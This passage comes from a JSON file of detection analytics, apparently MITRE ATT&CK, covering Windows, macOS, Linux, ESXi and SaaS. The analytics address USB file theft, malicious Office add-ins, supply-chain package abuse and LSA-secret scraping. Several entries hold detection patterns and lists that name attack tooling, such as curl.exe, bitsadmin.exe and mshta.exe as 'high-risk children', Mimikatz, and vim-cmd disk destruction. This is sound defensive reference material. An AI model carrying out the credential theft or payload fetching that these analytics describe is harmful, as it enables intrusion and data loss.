            "description": "Adversary attaches USB drive and accesses sensitive files using Finder, cp, or bash scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"USBMSC\"'"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "fs:fsusage",
                    "channel": "file reads/writes from /Volumes/"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VolumePath",
                    "description": "Tune by filtering removable media mounted under /Volumes"
                },
                {
                    "field": "UserContext",
                    "description": "Correlate activity to admin or service accounts for priority"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0138",
            "description": "Malicious Office add-ins loaded via VSTO, COM, or VBA auto-load paths. Upon launch of Word/Excel/Outlook, the add-in executes code without user action. Add-in resides in trusted directory or registered via Office COM/VBE subsystem. Behavior includes unsigned add-in execution, anomalous load context, or add-in spawning interpreter process.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Office Suite"
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                    "name": "WinEventLog:Application",
                    "channel": "Office Add-in load errors, abnormal loading context, or unsigned add-in warnings"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:Microsoft-Office/OutlookAddinMonitor",
                    "channel": "Outlook loading add-in via unexpected load path or non-default profile context"
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                    "field": "UnsignedAddInBehavior",
                    "description": "Admins may allow or block unsigned add-ins depending on GPO configuration"
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                {
                    "field": "OfficeProductVersion",
                    "description": "Different Office versions store trusted paths and add-in configs in version-specific locations"
                },
                {
                    "field": "AddInTrigger",
                    "description": "Some add-ins only load on specific actions (new document, open file, etc.)"
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            ],
            "x_mitre_deprecated": false
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            "description": "Detects modification of system or application binaries by monitoring /usr/bin, /bin, and other privileged directories. Correlates file integrity monitoring (FIM) events with unexpected process executions or service restarts.",
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            "x_mitre_domains": [
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                    "channel": "open, write"
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                {
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                    "name": "auditd:EXECVE",
                    "channel": "execve"
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                    "field": "WatchedDirectories",
                    "description": "Customize monitored directories (e.g., /usr/bin, /usr/sbin, /opt/apps) for binary tampering"
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                    "field": "BaselineHashes",
                    "description": "Maintain golden file hashes for integrity validation"
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                    "field": "CookieFilePatterns",
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                {
                    "field": "TimeWindow",
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                {
                    "field": "BrowserProcPatterns",
                    "description": "Expected names for browser processes being accessed"
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            ],
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        },
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1137",
            "description": "Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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            "name": "Analytic 0415",
            "description": "Adversary destroys virtual disks (VMDK), images, or VMs by invoking `vim-cmd`, deleting datastore contents, or purging snapshots.",
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                "ESXi"
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                    "channel": "file delete|datastore purge"
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            ],
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                {
                    "field": "DatastorePath",
                    "description": "Targeted deletion of critical VMDKs or VM configuration files."
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                    "field": "InitiatingUser",
                    "description": "Detect deletions from users outside normal maintenance windows."
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            ],
            "x_mitre_deprecated": false
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            "name": "Analytic 0633",
            "description": "Processes initiating outbound connections on uncommon ports or using protocols inconsistent with the assigned port. Correlating process creation with subsequent network connections reveals anomalies such as svchost.exe or Office applications using high, atypical ports.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "field": "ProcessAllowList",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "PRE"
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                {
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                    "name": "Domain Name",
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                    "source_name": "mitre-attack",
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Adversary manipulates dependencies/dev tools used by developers or CI: a package manager (npm/yarn/pnpm, pip/pipenv, nuget/dotnet, chocolatey/winget, maven/gradle) or a compiler/IDE downloads or restores content; files are written under project paths and execution paths (node_modules, packages, .nuget, .gradle, .m2, %AppData%\\npm, %UserProfile%\\.cargo\\bin, temp build dirs). First run of newly written components triggers scripts (preinstall/postinstall), shell/PowerShell spawning, or loader DLLs, followed by network egress to non-approved registries/CDNs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlate file write by package manager to first execution and egress (default 90 minutes)."
                },
                {
                    "field": "ApprovedRegistries",
                    "description": "Allow-listed registries (e.g., registry.npmjs.org, pypi.org, nuget.org, maven.apache.org, company proxies/CDNs)."
                },
                {
                    "field": "DevHosts",
                    "description": "Limit analytics to engineering endpoints/CI agents to reduce noise."
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                {
                    "field": "TrustedPublishers",
                    "description": "Code-signing publishers acceptable for dev tools."
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            "description": "A process (often spawned by a shell, interpreter, or malware implant) executes time discovery via commands (date, timedatectl, hwclock, cat /etc/timezone, /proc/uptime) or direct syscalls (time(), clock_gettime) and is (optionally) followed by scheduled task creation/modification (crontab, at) or conditional sleep logic.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "linux:syslog",
                    "channel": "sudo/date/timedatectl execution by non-standard users"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc",
                    "name": "linux:cron",
                    "channel": "cron activity"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "AuditRulesSyscalls",
                    "description": "Scope of syscalls (time, clock_gettime, gettimeofday) monitored; may be performance-sensitive."
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                    "field": "AllowedBinaries",
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                },
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                    "field": "TimeWindow",
                    "description": "Correlation window (e.g., 5\u201320 minutes) to link time discovery to follow-on cron/at changes."
                },
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                    "field": "UserContextScope",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between indirect launcher and spawned child/network activity (e.g., 10\u201330 minutes)."
                },
                {
                    "field": "AllowedUtilities",
                    "description": "Utilities permitted on admin/Jumphosts (forfiles, wsl, ssh) to reduce noise."
                },
                {
                    "field": "HighRiskChildren",
                    "description": "Child images that indicate abuse (powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, mshta.exe, msiexec.exe, curl.exe, bitsadmin.exe)."
                },
                {
                    "field": "UserContext",
                    "description": "Raise severity when the actor is a standard/interactive user on a workstation rather than a server or CI agent."
                },
                {
                    "field": "DestCIDRs",
                    "description": "Known-good egress networks for SSH/WSL activity to suppress expected admin automations."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9f5f193f-6aef-4586-a047-492b0c651001",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0219#AN0615",
                    "external_id": "AN0615"
                }
            ],
            "object_marking_refs": [
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            "name": "Analytic 0615",
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            ],
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        },
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            "description": "Detects suspicious registration of new password filter DLLs into the authentication process. Correlates registry modifications to LSASS Notification Packages with subsequent DLL creation and loading events. Observes anomalous file placement of DLLs in system directories followed by LSASS loading the new filter during logon/password change activity.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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                    "channel": "EventCode=4657"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                    "field": "TimeWindow",
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            "description": "Drive enumeration using PowerShell (`Get-PSDrive`), `wmic logicaldisk`, or Win32 API indicative of local volume enumeration by non-admin users or executed outside of baseline system inventory scripts.",
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            "x_mitre_platforms": [
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                    "channel": "EventCode=1"
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                    "field": "user_context",
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            "x_mitre_deprecated": false
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            ],
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                    "field": "ConsentScope",
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                {
                    "field": "AppUserRatio",
                    "description": "Threshold of how many users have authorized a given app"
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            ],
            "x_mitre_deprecated": false
        },
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e",
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                },
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                    "field": "TargetProcessList",
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                {
                    "field": "ParentProcessAnomalyThreshold",
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            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4698"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
                }
            ],
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                    "field": "TaskAuthor",
                    "description": "Unexpected user or account context initiating the task."
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                {
                    "field": "CommandLineRegex",
                    "description": "Suspicious binaries or script usage tied to scheduled tasks."
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                {
                    "field": "ExecutionWindow",
                    "description": "Lookback window to correlate process execution after task registration."
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            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1130",
            "description": "Discovery of connected SaaS applications, APIs, or configurations within platforms like Salesforce, Slack, or Zoom. Defender perspective includes enumeration of available integrations, abnormal querying of service metadata, and follow-on attempts to exploit or persist via discovered services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "SaaS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
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                    "channel": "Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "IntegrationDiscoveryThreshold",
                    "description": "Number of SaaS integrations enumerated before triggering detection."
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                {
                    "field": "ServiceAccountScope",
                    "description": "Expected permissions for service accounts to distinguish benign from malicious discovery."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2026-05-12T16:30:18.381Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            ],
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                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "New-InboxRule or Set-InboxRule events recorded in Exchange Online"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousKeywords",
                    "description": "Keywords like 'phish', 'malware', 'suspicious' used in inbox rules to hide emails."
                },
                {
                    "field": "UserContext",
                    "description": "Scope mailbox monitoring to high-value users such as executives or admins."
                }
            ]
        },
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            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0376",
            "description": "Creation of VSCode tunnel configuration file combined with interactive remote session via code CLI or ssh with JetBrains gateway.",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve on code or jetbrains-gateway with remote flags"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "open: Write to ~/.vscode-cli/code_tunnel.json"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PathRegex",
                    "description": "Regex patterns for user home directory file paths may vary by distro or user."
                },
                {
                    "field": "TunnelCLIFlags",
                    "description": "Tunnel flags used by CLI tools can be customized or obfuscated by adversaries."
                },
                {
                    "field": "Username",
                    "description": "The Linux user account associated with tunnel initiation; may vary across developer environments"
                },
                {
                    "field": "TunnelArtifactPath",
                    "description": "The filepath to the .vscode-cli/code_tunnel.json file may vary by distribution or IDE version"
                },
                {
                    "field": "CommandLineFlags",
                    "description": "Different IDEs or wrapper scripts may launch with different tunnel-related CLI options (e.g., --remote, --host)"
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            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0810",
            "description": "Detects login to admin consoles (e.g., Microsoft 365 Admin Center) from unrecognized users, devices, or geolocations followed by non-API data review or configuration read actions that suggest GUI dashboard use.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "m365:signinlogs",
                    "channel": "UserLoginSuccess"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:unified",
                    "channel": "ViewAdminReport"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Read-only configuration review from GUI"
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            ],
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                {
                    "field": "AdminRoleList",
                    "description": "Roles allowed to access dashboard views"
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                {
                    "field": "DashboardNavigationSequence",
                    "description": "Pageview paths or clickstreams indicating use of GUI admin console"
                },
                {
                    "field": "GeoLocationRisk",
                    "description": "List of high-risk regions or unexpected geos"
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            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0474",
            "description": "Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
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                {
                    "field": "ParentImage",
                    "description": "Common legitimate flash tool chains can be allowlisted"
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                {
                    "field": "CommandLine",
                    "description": "Flags indicating silent or forced flash may vary"
                }
            ],
            "x_mitre_deprecated": false
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            "id": "x-mitre-analytic--a1436a64-ffc4-4e39-a7c8-140e78336ffa",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1279",
            "description": "Excessive login attempts followed by success from SaaS apps like O365, Dropbox, etc.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "SaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "m365:unified",
                    "channel": "Sign-in logs"
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            ],
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                {
                    "field": "AppName",
                    "description": "Detect brute force attempts targeting specific apps"
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                {
                    "field": "UserGroup",
                    "description": "Limit alert scope to high-value user groups"
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 1102",
            "description": "Adversary runs 'system_profiler SPApplicationsDataType' or queries plist files to enumerate software via Terminal or scripts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of system_profiler or osascript invoking enumeration"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "Command line arguments including SPApplicationsDataType"
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                    "field": "AppScope",
                    "description": "Whether enumeration targets user apps or system apps."
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                {
                    "field": "ProcessGroup",
                    "description": "Parent process or scripting environment (e.g., Python, osascript)."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "description": "Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. From the defender\u2019s perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "process execution events with dylib load activity"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "create/modify dylib files in monitored directories"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "replace existing dylibs"
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                    "field": "MonitoredDirectories",
                    "description": "Application bundle directories (e.g., /Applications/*/Contents/MacOS, /Library/Frameworks). Adversaries may use non-standard paths like /tmp."
                },
                {
                    "field": "BaselineDylibs",
                    "description": "Historical record of dylibs typically loaded by applications. Deviations should be flagged."
                },
                {
                    "field": "CorrelationWindow",
                    "description": "Timeframe to correlate dylib file modification with subsequent process execution and module loads."
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            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "name": "Analytic 1414",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "execve"
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                    "name": "auditd:SYSCALL",
                    "channel": "connect"
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                    "name": "NSM:Flow",
                    "channel": "ssl.log, conn.log"
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                    "name": "auditd:SYSCALL",
                    "channel": "open, read"
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                    "field": "ConnectionDestinationScope",
                    "description": "Restrict outbound connections to non-corporate domains or IPs."
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                {
                    "field": "FileAccessExtensionList",
                    "description": "List of extensions considered sensitive or exfil-worthy (e.g., .zip, .db, .xlsx)."
                },
                {
                    "field": "SSLClientProcessBaseline",
                    "description": "Define normal encrypted-traffic-capable binaries."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 1212",
            "description": "Detects adversary activity aimed at accessing LSA Secrets, including registry key export of HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets or memory scraping via tools such as Mimikatz or PowerSploit's Invoke-Mimikatz.",
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "field": "TargetObject",
                    "description": "Target registry paths like HKLM\\SECURITY\\Policy\\Secrets or variants can be tuned depending on OS version or registry redirection settings."
                },
                {
                    "field": "ImageLoaded",
                    "description": "Module names such as `lsasrv.dll`, `sechost.dll`, or suspicious DLLs loaded by user processes may require tuning for known-good service operations."
                },
                {
                    "field": "AccessMask",
                    "description": "Tuning based on whether processes are using specific sensitive access rights (e.g., 0x2 or 0x4)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal window between registry access and command-line tool execution."
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            ]
        },
        {
            "type": "x-mitre-analytic",
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1260",
            "description": "Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like `Set domain authentication`, `Add federated identity provider`, or `Update-MsolFederatedDomain`.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Identity Provider"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "azure:signinlogs",
                    "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "OperationName",
                    "description": "Identify rare trust-modification operations (SetDomainAuthentication, Update-MsolFederatedDomain)."
                },
                {
                    "field": "InitiatedBy",
                    "description": "Flag federated trust changes performed by unknown users, service principals, or tokens."
                },
                {
                    "field": "UserAgent",
                    "description": "Separate scripted/API interactions from GUI-based administrative changes."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate trust change to federated login or SAML token injection within short window."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--a311af7c-2302-4113-8cc3-d5d599fa908a",
            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN0380"
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            ],
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                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "smtp.log, conn.log"
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                {
                    "field": "TransferSizeThreshold",
                    "description": "Bytes transferred via SMTP session"
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                {
                    "field": "ScriptNameFilter",
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            "description": "Processes that utilize AppleScript, `CGWindowListCopyWindowInfo`, or `NSRunningApplication` APIs to list active application windows and foreground processes.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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                    "channel": "None"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "field": "AppleScriptTarget",
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                    "field": "ParentProcess",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "channel": "sshd: Accepted password/publickey"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "execve, USER_CMD"
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                    "field": "SourceIP",
                    "description": "Limit to new/unexpected SSH source IPs"
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                {
                    "field": "CommandList",
                    "description": "Flag suspicious post-SSH command patterns"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "channel": "Send/Receive: Inbound emails containing embedded or shortened URLs"
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                {
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                    "channel": "EventCode=3, 22"
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                    "field": "URLShortenerDomains",
                    "description": "Domains like bit.ly, tinyurl.com flagged for deeper expansion/inspection."
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                    "channel": "ssh logins or execve of remote commands"
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                {
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                    "name": "NSM:Connections",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "connection: Inbound connections to SSH or VPN ports"
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                    "field": "KnownSSHClients",
                    "description": "Legitimate IPs or client fingerprints for SSH/VPN."
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                {
                    "field": "FailedLogonThreshold",
                    "description": "Number of failed SSH logins to trigger alert."
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                {
                    "field": "TimeWindow",
                    "description": "Correlation window for failed attempts and success."
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            "name": "Analytic 1387",
            "description": "Abuse of VMFS or ESXi shell to hide datastore files, renaming/moving VMDK or VMX files into hidden directories. Defender view: anomalous ESXi shell commands or file operations obscuring VM artifacts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "ESXi"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "esxi:syslog",
                    "channel": "Datastore file hidden or renamed unexpectedly"
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            ],
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                {
                    "field": "VMFileScope",
                    "description": "Restrict to VMDK, VMX, or log files critical for VM operations."
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            ],
            "x_mitre_deprecated": false
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        {
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            "name": "Analytic 1296",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                    "channel": "Outbound Traffic"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
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                {
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                    "name": "NSM:Content",
                    "channel": "HTTP Header Metadata"
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                {
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                    "description": "Limit detections to children of suspicious binaries."
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                {
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                    "description": "Threshold for deviation from expected headers (User-Agent, Host)."
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        },
        {
